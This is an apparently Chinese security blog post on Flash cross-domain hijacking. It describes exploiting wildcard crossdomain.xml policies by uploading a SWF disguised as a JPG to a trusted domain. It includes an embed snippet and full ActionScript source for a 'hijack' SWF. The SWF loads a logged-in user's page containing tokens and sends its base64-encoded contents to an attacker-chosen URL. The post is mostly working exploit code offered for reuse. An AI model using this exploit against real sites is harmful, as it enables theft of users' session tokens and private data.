老的掉渣的Flash劫持

Flash利用技巧简单明了

  1. Flash Csrf 劫持
  2. Flash 劫持

重复讲一下老知识:

随缘组织一下语言:
当我们在挖src漏洞的时候,找到一个接口或者一个页面response内容,存在用户的token或者用户唯一标识的信息的时候,着要访问qq.com/crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="*.qq.com"/>
<allow-access-from domain="*.gtimg.com"/>

</cross-domain-policy>

存在以上的情况,着要在*.qq.com找到一个可以上传图片的就可以进行劫持用户权限。

引用jeary大佬的文章的描述:

有这些信任域的flash才能与它进行通讯,但是这样也并不安全,
我们只需要让flash在这其中任意一个域下即可,
简单说就是找到任意一个没有过滤的上传点(没有过滤?那不是直接传shell..
(我这里指的没有过滤仅指没有过滤文件内容,
如果你可以控制后缀和路径还能让它解析的话那就拿shell吧)
 找了一会,找到上传点(漏洞还未公开这里不方便公布),
我们将swf后缀改为jpg,然后上传,
得到: http://****.sohu.com/2015******.jpg 
接下来你可以又可以使用上面的POC进行劫持操作了,

以下内容都是轮子:

<div> 
<embed src="hijack.jpg?jpg=http://127.0.0.1/1.png&get=http://127.0.0.1/l.php&post=http://127.0.0.1/2.php" width="970" height="107" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed> 
</object> 
</div> 

hijack源码:

package {
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.net.*;
	import flash.utils.ByteArray;
    import flash.text.TextField; 
    public class hijack extends Sprite
    {
		private static const _encodeChars:Vector.<int> = _initEncoreChar();
        public function hijack()
        {
            var params:Object=root.loaderInfo.parameters;
			var jpg:URLRequest = new URLRequest(params.jpg);
            jpg.method = URLRequestMethod.GET;
            sendToURL(jpg);
			
            var request:URLRequest = new URLRequest(params.get);
            request.method = URLRequestMethod.GET;
            var loader:URLLoader=new URLLoader();
            loader.addEventListener(Event.COMPLETE,completeHandler);
            function completeHandler(event:Event):void{
				var data:String=(loader.data);

				var postURLrequest:URLRequest = new URLRequest(params.post);
				postURLrequest.method = URLRequestMethod.POST;
				var postdata:Object = new Array();
				postdata[0]=encode(data);
				postURLrequest.data = postdata[0];
				sendToURL(postURLrequest);
            }
            loader.load(request);
        }
		
		public static function encode(data:String):String {
			var bytes:ByteArray = new ByteArray();
			bytes.writeUTFBytes(data);
			return encodeByteArray(bytes);
		}
		
		public static function encodeByteArray(data:ByteArray):String {
			var out:ByteArray = new ByteArray();
			//Presetting the length keep the memory smaller and optimize speed since there is no "grow" needed
			out.length = (2 + data.length - ((data.length + 2) % 3)) * 4 / 3; //Preset length //1.6 to 1.5 ms
			var i:int = 0;
			var r:int = data.length % 3;
			var len:int = data.length - r;
			var c:uint; //read (3) character AND write (4) characters
			var outPos:int = 0;
			while(i < len) {
				//Read 3 Characters (8bit * 3 = 24 bits)
				c = data[int(i++)] << 16 | data[int(i++)] << 8 | data[int(i++)];

				out[int(outPos++)] = _encodeChars[int(c >>> 18)];
				out[int(outPos++)] = _encodeChars[int(c >>> 12 & 0x3f)];
				out[int(outPos++)] = _encodeChars[int(c >>> 6 & 0x3f)];
				out[int(outPos++)] = _encodeChars[int(c & 0x3f)];
			}

			//Need two "=" padding
			if(r == 1) {
				//Read one char, write two chars, write padding
				c = data[int(i)];

				out[int(outPos++)] = _encodeChars[int(c >>> 2)];
				out[int(outPos++)] = _encodeChars[int((c & 0x03) << 4)];
				out[int(outPos++)] = 61;
				out[int(outPos++)] = 61;
			}

			//Need one "=" padding
			else if(r == 2) {
				c = data[int(i++)] << 8 | data[int(i)];

				out[int(outPos++)] = _encodeChars[int(c >>> 10)];
				out[int(outPos++)] = _encodeChars[int(c >>> 4 & 0x3f)];
				out[int(outPos++)] = _encodeChars[int((c & 0x0f) << 2)];
				out[int(outPos++)] = 61;
			}

			return out.readUTFBytes(out.length);
		}
		
		private static function _initEncoreChar():Vector.<int> {
			var encodeChars:Vector.<int> = new Vector.<int>(64, true);

			// We could push the number directly
			// but I think it's nice to see the characters (with no overhead on encode/decode)
			var chars:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
			for(var i:int = 0; i<64; i++) {
				encodeChars[i] = chars.charCodeAt(i);
			}

			return encodeChars;
		}
		
		
	
    }
}

参数说明:

jpg:域下的图片(为了优先加载crossdomain.xml,否则劫持的接口加载太慢会导致无法劫持)

get:劫持的接口或者页面

post:接收劫持过来的页面为base64传输

有需要劫持responseHeaders,请py我!



项目地址:github.com/7dog7/flash-

参考地址:jeary.org/post-54.html

编辑于 2019-05-30